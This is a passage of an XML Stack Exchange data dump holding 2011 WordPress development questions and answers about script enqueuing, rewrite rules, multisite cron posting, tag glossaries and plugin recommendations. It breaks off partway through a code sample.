  <row Id="27279" PostTypeId="2" ParentId="26201" CreationDate="2011-08-30T13:56:00.480" Score="0" ViewCount="" Body="&lt;p&gt;@Blockhead,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also might want to check out DeployMint which only works on WordPress Multisite - but could be the best solution for what you are looking for.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://markmaunder.com/2011/08/19/deploymint-a-staging-and-deployment-system-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://markmaunder.com/2011/08/19/deploymint-a-staging-and-deployment-system-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8054" LastActivityDate="2011-08-30T13:56:00.480" />
  <row Id="27280" PostTypeId="2" ParentId="27277" CreationDate="2011-08-30T14:07:03.310" Score="1" ViewCount="" Body="&lt;p&gt;Goto Settings &gt; Permalinks and activate permalinks. Follow all the steps including the &lt;code&gt;.htaccess&lt;/code&gt; changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then change the permalink on the post/page edit page, right under the title.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-08-30T14:07:03.310" />
  <row Id="27281" PostTypeId="1" AcceptedAnswerId="27283" CreationDate="2011-08-30T14:46:59.013" Score="1" ViewCount="19" Body="&lt;p&gt;I'm enqueuing a script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('my-script', MY_SCRIPTS.&quot;/my-script.js&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to get MY_SCRIPTS const working in this context?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$template_dir = get_bloginfo('template_directory');&#xA;wp_enqueue_script('my-script',&quot;$template_dir/my-scripts/my-script.js&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't like this approach at all.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-08-30T14:55:18.260" Title="wp_enqueue_script &amp; constants?" Tags="&lt;javascript&gt;&lt;wp-enqueue-script&gt;&lt;constants&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="27282" PostTypeId="1" CreationDate="2011-08-30T14:49:46.467" Score="0" ViewCount="15" Body="&lt;p&gt;Is there a good plugin to provide a &quot;&lt;em&gt;Flag comment as inappropriate&lt;/em&gt;&quot; button to comments in my posts? All I've seem were last updated in 2009 or so... &lt;/p&gt;&#xA;" OwnerUserId="8272" LastEditorUserId="8272" LastEditorDisplayName="" LastEditDate="2011-08-30T15:14:19.837" LastActivityDate="2011-08-30T15:14:19.837" Title="Flag Comment as inappropriate button plugin" Tags="&lt;plugins&gt;&lt;comments&gt;" AnswerCount="1" />
  <row Id="27283" PostTypeId="2" ParentId="27281" CreationDate="2011-08-30T14:55:18.260" Score="3" ViewCount="" Body="&lt;p&gt;The value you pass to wp_enqueue_script should be the URL of the script, not the local file path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('my-script', get_template_directory_uri() . '/my-scripts/my-script.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-30T14:55:18.260" />
  <row Id="27284" PostTypeId="1" AcceptedAnswerId="27289" CreationDate="2011-08-30T15:01:16.427" Score="0" ViewCount="19" Body="&lt;p&gt;I have network of sites, and I need to import data into them via a cron job. Obviously &lt;code&gt;wp_insert_post&lt;/code&gt; is meaningless in this case, since i'm not in a blog...i'm in a cron script.&#xA;I also read that &lt;code&gt;switch_to_blog&lt;/code&gt; is deprecated, yet I can't find any alternative.&#xA;How do I set the blog to post to? &lt;/p&gt;&#xA;" OwnerUserId="7007" LastActivityDate="2011-08-30T20:24:43.807" Title="Using wp_insert_post with WP Network in a cron script" Tags="&lt;network&gt;&lt;wp-insert-post&gt;" AnswerCount="2" />
  <row Id="27285" PostTypeId="2" ParentId="27278" CreationDate="2011-08-30T15:08:30.617" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_active_widget&quot; rel=&quot;nofollow&quot;&gt;is_active_widget&lt;/a&gt; should do the job.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( is_active_widget(false, false, $this-&amp;gt;id_base, true) ) {&#xA;    wp_enqueue_script('jquery');&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-08-30T15:08:30.617" />
  <row Id="27286" PostTypeId="2" ParentId="27282" CreationDate="2011-08-30T15:08:39.003" Score="2" ViewCount="" Body="&lt;p&gt;You can try out other comment systems like Disqus or Livefyre. They have the flag as inappropriate feature built into them. Not to mention these commenting systems are real-time.&lt;/p&gt;&#xA;" OwnerUserId="8273" LastActivityDate="2011-08-30T15:08:39.003" />
  <row Id="27287" PostTypeId="1" CreationDate="2011-08-30T15:10:34.447" Score="0" ViewCount="18" Body="&lt;pre&gt;&lt;code&gt;function add_listing( $atts)&#xA; { extract( shortcode_atts( array (&#xA;'sslug' =&amp;gt; '',&#xA;'jslug' =&amp;gt; ''&#xA;  ), $atts ) );&#xA;&#xA;global $wpdb;&#xA;$qstr = '   &#xA;SELECT * &#xA;FROM $wpdb-&amp;gt;posts   &#xA;LEFT JOIN $wpdb-&amp;gt;term_relationships ON($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;term_relationships.object_id)    &#xA;LEFT JOIN $wpdb-&amp;gt;term_taxonomy ON($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)&#xA;LEFT JOIN $wpdb-&amp;gt;terms ON($wpdb-&amp;gt;term_taxonomy.term_id = $wpdb-&amp;gt;terms.term_id)&#xA;WHERE $wpdb-&amp;gt;posts.post_type = &quot;states&quot; &#xA;AND $wpdb-&amp;gt;posts.post_status = &quot;publish&quot;&#xA;AND $wpdb-&amp;gt;term_taxonomy.taxonomy = &quot;usstates&quot;&#xA;AND $wpdb-&amp;gt;term_taxonomy.taxonomy = &quot;job-desc&quot; &#xA;AND $wpdb-&amp;gt;terms.slug =  $sslug;   &amp;lt;-----&#xA;OR $wpdb-&amp;gt;terms.slug =   $jslug;    &amp;lt;--------&#xA;ORDER BY $wpdb-&amp;gt;posts.post_date DESC&#xA;';&#xA;  add_shortcode(&quot;list&quot;, &quot;add_listing&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i want to subtitute the value like for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's my sample shortcode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[list sslug=&quot;alabama&quot; jslug=&quot;electrician&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i want to subtitute the value to the arrow above&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but cant get it to work :( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help guys &lt;/p&gt;&#xA;" OwnerUserId="8008" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-30T16:40:02.987" LastActivityDate="2011-08-30T16:40:28.227" Title="Substituting value via shortcode" Tags="&lt;shortcodes&gt;" AnswerCount="1" />
  <row Id="27288" PostTypeId="1" CreationDate="2011-08-30T15:10:58.563" Score="1" ViewCount="32" Body="&lt;p&gt;First off, I'm all about separating design and function. In fact, I want to remove some of the functionality from a webcomics management theme I'm developing into a plugin. I expect a person's webcomic to outlast their love of a theme. This way, authors can switch themes but still retain all their uploaded comics--so long as they keep the plugin that registers those custom content types active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, neither the theme nor the plugin will give users &lt;em&gt;all&lt;/em&gt; the functionality they need. Sure, the plugin registers your comics and your thumbnails, but only through the appropriate theme are these things displayed properly in an archive, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to bundle them so when a person activates the theme, they are prompted to install the plugin from the repository as well or it is auto-installed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking for a solution, but so far I've only found janky zip-file bundling techniques. I'd like something a little slicker than that, that fetches the most current plugin from the repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7978" LastActivityDate="2011-08-30T15:58:19.857" Title="How to bundle a plugin with a theme, or vice versa" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="27289" PostTypeId="2" ParentId="27284" CreationDate="2011-08-30T15:16:23.967" Score="1" ViewCount="" Body="&lt;p&gt;switch_to_blog isn't deprecated anymore. You can use it just fine. However, it does have a bit of overhead, so you want to use it as little as possible.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-30T15:16:23.967" />
  <row Id="27290" PostTypeId="1" CreationDate="2011-08-30T15:58:14.943" Score="0" ViewCount="18" Body="&lt;p&gt;I want to do this redirection:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;^/?stream/(.&lt;em&gt;)/(.&lt;/em&gt;).[mp4|m4v|ogv|webm|acc|mp3|m4a|ogg]{3,4}$ http://$1.bitshare.com/download.php?d=$2 [R]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first thing i've tried was to put that into my htaccess file. It didn't work (i guess because i'm using a custom structure for posts permalink).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i've tried some examples from the codex, and installed a plugin (Rewrite analyzer) to verify that the rules were added properly. &lt;a href=&quot;http://lh4.googleusercontent.com/-Pp-sRjkOOzc/TlurwnyKBpI/AAAAAAAAGhs/3mYteafid3I/rules.PNG&quot; rel=&quot;nofollow&quot;&gt;Here you can see&lt;/a&gt; the rules i added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i visit &lt;code&gt;mysite.com/geostate/1&lt;/code&gt; it redirects to the index page, and &lt;code&gt;mysite.com/testt/1&lt;/code&gt; show me a &lt;code&gt;404&lt;/code&gt; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rules are there but they aren't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't know what is happening.&lt;/p&gt;&#xA;" OwnerUserId="8274" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-30T16:39:14.610" LastActivityDate="2011-08-30T16:39:14.610" Title="Problem adding a rewrite rule" Tags="&lt;url-rewriting&gt;&lt;htaccess&gt;" CommentCount="2" />
  <row Id="27291" PostTypeId="2" ParentId="27288" CreationDate="2011-08-30T15:58:19.857" Score="1" ViewCount="" Body="&lt;p&gt;You can use some of the following functions to build your own &quot;theme plugins&quot; registration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_plugin_active( $plugin );&#xA;is_plugin_active_for_network( $plugin );&#xA;is_plugin_inactive( $plugin );&#xA;&#xA;get_plugins( $plugin_folder ); // register your own theme-plugins folder?&#xA;get_plugin_data( $plugin_file );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use &quot;theme plugins&quot; myself. But not in the manner of: I have dozens of &quot;real&quot; plugins and then require some user to install them, but more in the fashion of: I question the existance of sub folders and register them with &lt;code&gt;current_theme_supports( 'theme-plugin-xy' )&lt;/code&gt; and then include their files.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-30T15:58:19.857" />
  <row Id="27292" PostTypeId="2" ParentId="27287" CreationDate="2011-08-30T16:40:28.227" Score="0" ViewCount="" Body="&lt;p&gt;If you put variables inside a string, you have to use &lt;code&gt;&quot;&lt;/code&gt; double quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This:&#xA;$qstr = '&#xA;SELECT *&#xA;...&#xA;ORDER BY $wpdb-&amp;gt;posts.post_date DESC&#xA;';&#xA;&#xA;// becomes...&#xA;$qstr = &quot;&#xA;SELECT *&#xA;...&#xA;ORDER BY $wpdb-&amp;gt;posts.post_date DESC&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-30T16:40:28.227" CommentCount="1" />
  <row Id="27294" PostTypeId="2" ParentId="27267" CreationDate="2011-08-30T17:31:20.457" Score="0" ViewCount="" Body="&lt;p&gt;I think you need to set the hierarchy to false, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(  &#xA;    'internal_name',  &#xA;    'object_type',  &#xA;        array(  &#xA;            'hierarchical' =&amp;gt; false&#xA;        )  &#xA;);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8038" LastActivityDate="2011-08-30T17:31:20.457" />
  <row Id="27295" PostTypeId="1" CreationDate="2011-08-30T17:33:36.177" Score="0" ViewCount="28" Body="&lt;p&gt;Anyone know a plugin or any other solution to list posts filtered by the first letter from custom post types? I found some plugins, but nothing seems to work with custom post types.&lt;/p&gt;&#xA;" OwnerUserId="8038" LastActivityDate="2011-08-30T17:33:36.177" Title="A to Z list for custom post types" Tags="&lt;custom-post-types&gt;&lt;filters&gt;" />
  <row Id="27296" PostTypeId="1" AcceptedAnswerId="27302" CreationDate="2011-08-30T17:57:45.667" Score="0" ViewCount="23" Body="&lt;p&gt;When I try to access my &lt;a href=&quot;http://www.nkonecny.com/blog/feed/&quot; rel=&quot;nofollow&quot;&gt;RSS Feed&lt;/a&gt; I am getting this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;error on line 1 at column 35: Unsupported encoding UTF-5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was working fine just a couple days ago and I'm not sure what I changed if anything to break it.&#xA;Any Ideas?&lt;/p&gt;&#xA;" OwnerUserId="7893" LastActivityDate="2011-08-31T13:09:29.373" Title="RSS Feed broken" Tags="&lt;rss&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="27297" PostTypeId="1" CreationDate="2011-08-30T17:58:43.250" Score="0" ViewCount="6" Body="&lt;p&gt;I've done some searches but maybe I'm searching on the wrong terms. Does anyone know if there's a way to bulk-delete menu items in the new Appearance &gt; Menus system? This is mostly to clean up localhost installations, so I'm totally open to plugins if anyone knows of one. I'd be thrilled if I could delete a Page and have all its sub pages (the ones I set as its sub pages via the Menu, not necessarily its real Child pages) also disappear from the menu, for instance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help! &lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-30T17:58:43.250" Title="Way to bulk delete menu items in new 3.x Appearance &gt; Menus system?" Tags="&lt;menus&gt;" />
  <row Id="27298" PostTypeId="1" AcceptedAnswerId="27305" CreationDate="2011-08-30T18:09:38.950" Score="0" ViewCount="33" Body="&lt;p&gt;I'm building a site glossary and trying to display only tags with descriptions. Is there a  way to determine if the description is available and only display the tag when it is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is where I am so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $tags = get_tags();&#xA;    if (tag_description($tag-&amp;gt;term_id)) {&#xA;        if ($tags) {&#xA;            foreach ($tags as $tag) {&#xA;                echo '&amp;lt;dt&amp;gt;&amp;lt;a href=&quot;' . get_tag_link( $tag-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $tag-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $tag-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&amp;lt;dd&amp;gt;' . tag_description($tag-&amp;gt;term_id) . '&amp;lt;/dd&amp;gt;';&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-08-31T20:44:57.427" Title="Display a tag only if there is a description" Tags="&lt;taxonomy&gt;&lt;tags&gt;&lt;description&gt;" AnswerCount="1" />
  <row Id="27299" PostTypeId="1" CreationDate="2011-08-30T18:09:53.720" Score="1" ViewCount="17" Body="&lt;p&gt;I've discovered a solution to an IE problem with a conditional comment. I only need it on the home page because I've isolated there with a class on only one image. Unfortunately, the comment causes me some problems on other pages so I need to limit the comment (and script) to function ONLY on the home page... here's what my comment looks like but it's not preventing from the other pages... I'm more designer than php guy but I'm trying...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[if lt IE 9]&amp;gt;&amp;lt;?php if(is_home() )?&amp;gt; &#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/scripts/unitpngfix.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would certainly appreciate any help with this. Thanks much...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jeff&lt;/p&gt;&#xA;" OwnerUserId="8276" LastActivityDate="2011-08-30T18:27:01.117" Title="Limiting conditional comment to home only in header.php" Tags="&lt;wp-blog-header.php&gt;" AnswerCount="1" />
  <row Id="27300" PostTypeId="1" CreationDate="2011-08-30T18:14:14.923" Score="0" ViewCount="8" Body="&lt;p&gt;I want to design a custom contact form such that each character has it's own box. I want user to be able to input and have the form advance them to the next box as they type. Is there a process like tab order, or somecode or a plugin available to do this?&lt;/p&gt;&#xA;" OwnerUserId="8277" LastActivityDate="2011-08-30T18:14:14.923" ClosedDate="2011-08-30T18:55:49.683" Title="How to advance on a custom designed form" Tags="&lt;plugins&gt;" CommentCount="1" />
  <row Id="27301" PostTypeId="2" ParentId="27299" CreationDate="2011-08-30T18:27:01.117" Score="0" ViewCount="" Body="&lt;p&gt;There are likely more elegant ways to do this sort of thing, but the quickest and easiest, using your code, would be to move the PHP conditional out of the CSS conditional. e.g. change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[if lt IE 9]&amp;gt;&amp;lt;?php if(is_home() )?&amp;gt; &#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/scripts/unitpngfix.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( is_home() ) { ?&amp;gt; &#xA;&amp;lt;!--[if lt IE 9]&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/scripts/unitpngfix.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also: aren't you missing the closing of the CSS conditional here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( is_home() ) { ?&amp;gt; &#xA;    &amp;lt;!--[if lt IE 9]&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/scripts/unitpngfix.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    --&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-30T18:27:01.117" CommentCount="2" />
  <row Id="27302" PostTypeId="2" ParentId="27296" CreationDate="2011-08-30T18:49:24.513" Score="0" ViewCount="" Body="&lt;p&gt;I don't know that this has anything to do with WordPress, but I'm pretty sure it should be &lt;code&gt;UTF-8&lt;/code&gt;, not &lt;code&gt;UTF-5&lt;/code&gt;. The first line of your RSS feed reads &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-5&quot;?&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Try checking your Reading Settings for the &lt;code&gt;Encoding for pages and feeds&lt;/code&gt; entry.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="2226" LastEditorDisplayName="" LastEditDate="2011-08-31T13:09:29.373" LastActivityDate="2011-08-31T13:09:29.373" CommentCount="4" />
  <row Id="27303" PostTypeId="1" CreationDate="2011-08-30T18:58:57.537" Score="1" ViewCount="42" Body="&lt;p&gt;I'd like to display a simple password box where visitors need to enter a password before they can access the site. &lt;/p&gt;&#xA;" OwnerUserId="1925" LastEditorUserId="1925" LastEditorDisplayName="" LastEditDate="2011-08-30T19:09:21.933" LastActivityDate="2011-08-30T19:30:50.737" Title="Password protect the site (without htaccess or membership)" Tags="&lt;password&gt;&lt;members&gt;" AnswerCount="3" />
  <row Id="27304" PostTypeId="2" ParentId="27303" CreationDate="2011-08-30T19:06:30.183" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/members/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like a good option, I trust his plugins. There are a variety of other plugins available if you search for members, private, access, or a combination of those terms&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-08-30T19:06:30.183" />
  <row Id="27305" PostTypeId="2" ParentId="27298" CreationDate="2011-08-30T19:07:18.717" Score="2" ViewCount="" Body="&lt;p&gt;The object returned by &lt;code&gt;get_tags()&lt;/code&gt; should have a &lt;code&gt;description&lt;/code&gt; property, so you don't need to try to get it again. Just check to be sure &lt;code&gt;$tags-&amp;gt;description&lt;/code&gt; isn't empty. You should probably also reorganize so that you don't do anything at all unless &lt;code&gt;if($tags)&lt;/code&gt;. Thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get ALL the tags!&#xA;$tags = get_tags( array( 'hide_empty' =&amp;gt; false ) );&#xA;if ($tags) {&#xA;  foreach ($tags as $tag) {&#xA;    if ($tag-&amp;gt;description) {&#xA;      echo '&amp;lt;dt&amp;gt;&amp;lt;a href=&quot;' . get_tag_link( $tag-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $tag-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $tag-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&amp;lt;dd&amp;gt;' . $tag-&amp;gt;description . '&amp;lt;/dd&amp;gt;';&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="2226" LastEditorDisplayName="" LastEditDate="2011-08-31T20:44:57.427" LastActivityDate="2011-08-31T20:44:57.427" CommentCount="7" />
  <row Id="27306" PostTypeId="2" ParentId="27303" CreationDate="2011-08-30T19:09:37.150" Score="1" ViewCount="" Body="&lt;p&gt;I am a big fan of the Members plugin, but if all you want to do is have people log in to view the site, Registered Users Only is probably an easier option: &lt;a href=&quot;http://wordpress.org/extend/plugins/registered-users-only/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/registered-users-only/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-30T19:09:37.150" CommentCount="1" />
  <row Id="27307" PostTypeId="2" ParentId="27303" CreationDate="2011-08-30T19:30:50.737" Score="0" ViewCount="" Body="&lt;p&gt;This works pretty well also &lt;a href=&quot;http://wordpress.org/extend/plugins/ultimate-coming-soon-page/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/ultimate-coming-soon-page/&lt;/a&gt; redirects non-logged in users to a custom message.&lt;/p&gt;&#xA;" OwnerUserId="7318" LastActivityDate="2011-08-30T19:30:50.737" />
  <row Id="27308" PostTypeId="1" CreationDate="2011-08-30T19:36:35.333" Score="0" ViewCount="10" Body="&lt;p&gt;I want to use WordPress to build a small database for TV shows and their merchandising in the vein of IMDb, TV.com and Discogs. I want it to look somewhat like wiki pages, yet I don't want to use wiki software as it only is going to be edited by a limited group of people and I want to use a more structured database for the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many ways to resolve it. I think that I'm going to do different content types for each section (TV show, episodes, characters, etc.) along with a custom template, yet I have a couple of doubts about how to configure certain stuff:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There are fields that are fixed for all episodes regardless the show (like &quot;Special Guest&quot;), yet in some shows I would want to highlight it along the default &quot;episode list&quot;, like if the default list for shows only list &quot;episode number, episode name and premiere date&quot; and specific show may need to be shorted as &quot;episode number, episode name, special guest and premiere date&quot;. I believe it may just adjusted in the template with conditional tags, yet I wish to configure it right in the back-end. Similarly, some shows may need some default fields to be &lt;em&gt;hidden&lt;/em&gt; as they are not relevant.&lt;/li&gt;&#xA;&lt;li&gt;There are fields that also need to be highlighted for specific shows, but they are to narrow to be applied for default for all shows, so they only need to be added in a show-per-show basis (like &quot;Place visited, couch gag, title reference, etc.&quot;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2201" LastActivityDate="2011-08-30T19:36:35.333" Title="Highlighting and adding custom fields for specific custom post type posts" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;database&gt;&lt;ui&gt;" />
  <row Id="27309" PostTypeId="2" ParentId="119" CreationDate="2011-08-30T19:39:39.530" Score="0" ViewCount="" Body="&lt;p&gt;A coworker found this. Interesting concept, though it doesn't work cross server it looks like. I'm still exploring it, but looks like it could work great for a staging instance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/deploymint/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/deploymint/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-08-30T19:39:39.530" />
  <row Id="27310" PostTypeId="1" AcceptedAnswerId="27324" CreationDate="2011-08-30T19:49:09.233" Score="4" ViewCount="99" Body="&lt;p&gt;I'm interviewing for a job as a WordPress Developer. I've only been working with WP for a year now and feel I have a good overview, as in how to set it up, what functions.php does, where to modify themes, etc.. But the interview I have next week is going to be asking me all about WordPress and Linux with some MySql thrown in. All I know is that they will be giving me a laptop and a test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I prepare for such a thing? Should I practice writing a plugin today? I know how to set up a Linux server, but I'm not great with advanced file manipulation or shell scripting. I'm good at setting up, troubleshooting and configuration. And I read the WP Codex a LOT. What would be a good homework assignment to give myself to prepare properly? I've noticed there aren't many resources for studying for a WP-centric interview out there.&lt;/p&gt;&#xA;" OwnerUserId="8279" LastActivityDate="2011-08-30T22:24:55.827" Title="WordPress Job Interview Preparation" Tags="&lt;multisite&gt;&lt;linux&gt;&lt;jobboard&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" />
  <row Id="27311" PostTypeId="2" ParentId="24514" CreationDate="2011-08-30T20:06:04.260" Score="0" ViewCount="" Body="&lt;p&gt;There is a paid-for &lt;a href=&quot;http://premium.wpmudev.org/project/multi-db?ref=MemiahMatt-34981&quot; rel=&quot;nofollow&quot;&gt;multidb script by WPMU Dev&lt;/a&gt;, it can handle from 16 up to 4096 databases for 100,000+ blogs on the same multisite installation. I currently have it setup with 16 so can't say how messy it will get as you scale up but it depends on your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works by overwriting some core DB settings in WP, so anything that uses the database with the proper wpdb class won't know the difference - this should be absolutely everything. If you need to tweak your database manually they also provide a tool to find out which database a particular site is stored in.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-08-30T20:06:04.260" />
  <row Id="27313" PostTypeId="2" ParentId="27284" CreationDate="2011-08-30T20:24:43.807" Score="0" ViewCount="" Body="&lt;p&gt;Actually the solution is much easier than this....&lt;code&gt;$wpdb-&amp;gt;set_blog_id($blog_id);&lt;/code&gt;&#xA;does exactly what I need it to do.&lt;/p&gt;&#xA;" OwnerUserId="7007" LastActivityDate="2011-08-30T20:24:43.807" />
  <row Id="27314" PostTypeId="2" ParentId="15535" CreationDate="2011-08-30T20:29:12.763" Score="0" ViewCount="" Body="&lt;p&gt;So, first up, we need some sort of submit form.  Here's a simple one, it can be whatever you want, obviously.  This is just for this example.  Emails the person on submission and sets up a password key for them in the wp_options table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'init', 'wpse15535_add_shortcode' );&#xA;function wpse15535_add_shortcode()&#xA;{&#xA;    add_shortcode( 'invite-form', 'wpse15535_invite_form' );&#xA;}&#xA;&#xA;&#xA;function wpse15535_invite_form()&#xA;{&#xA;    ?&amp;gt;&#xA;    &amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;wpse15535_action&quot; value=&quot;send_invite&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;wpse15535_email&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;&amp;lt;?php _e( 'Send Invite' ); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;    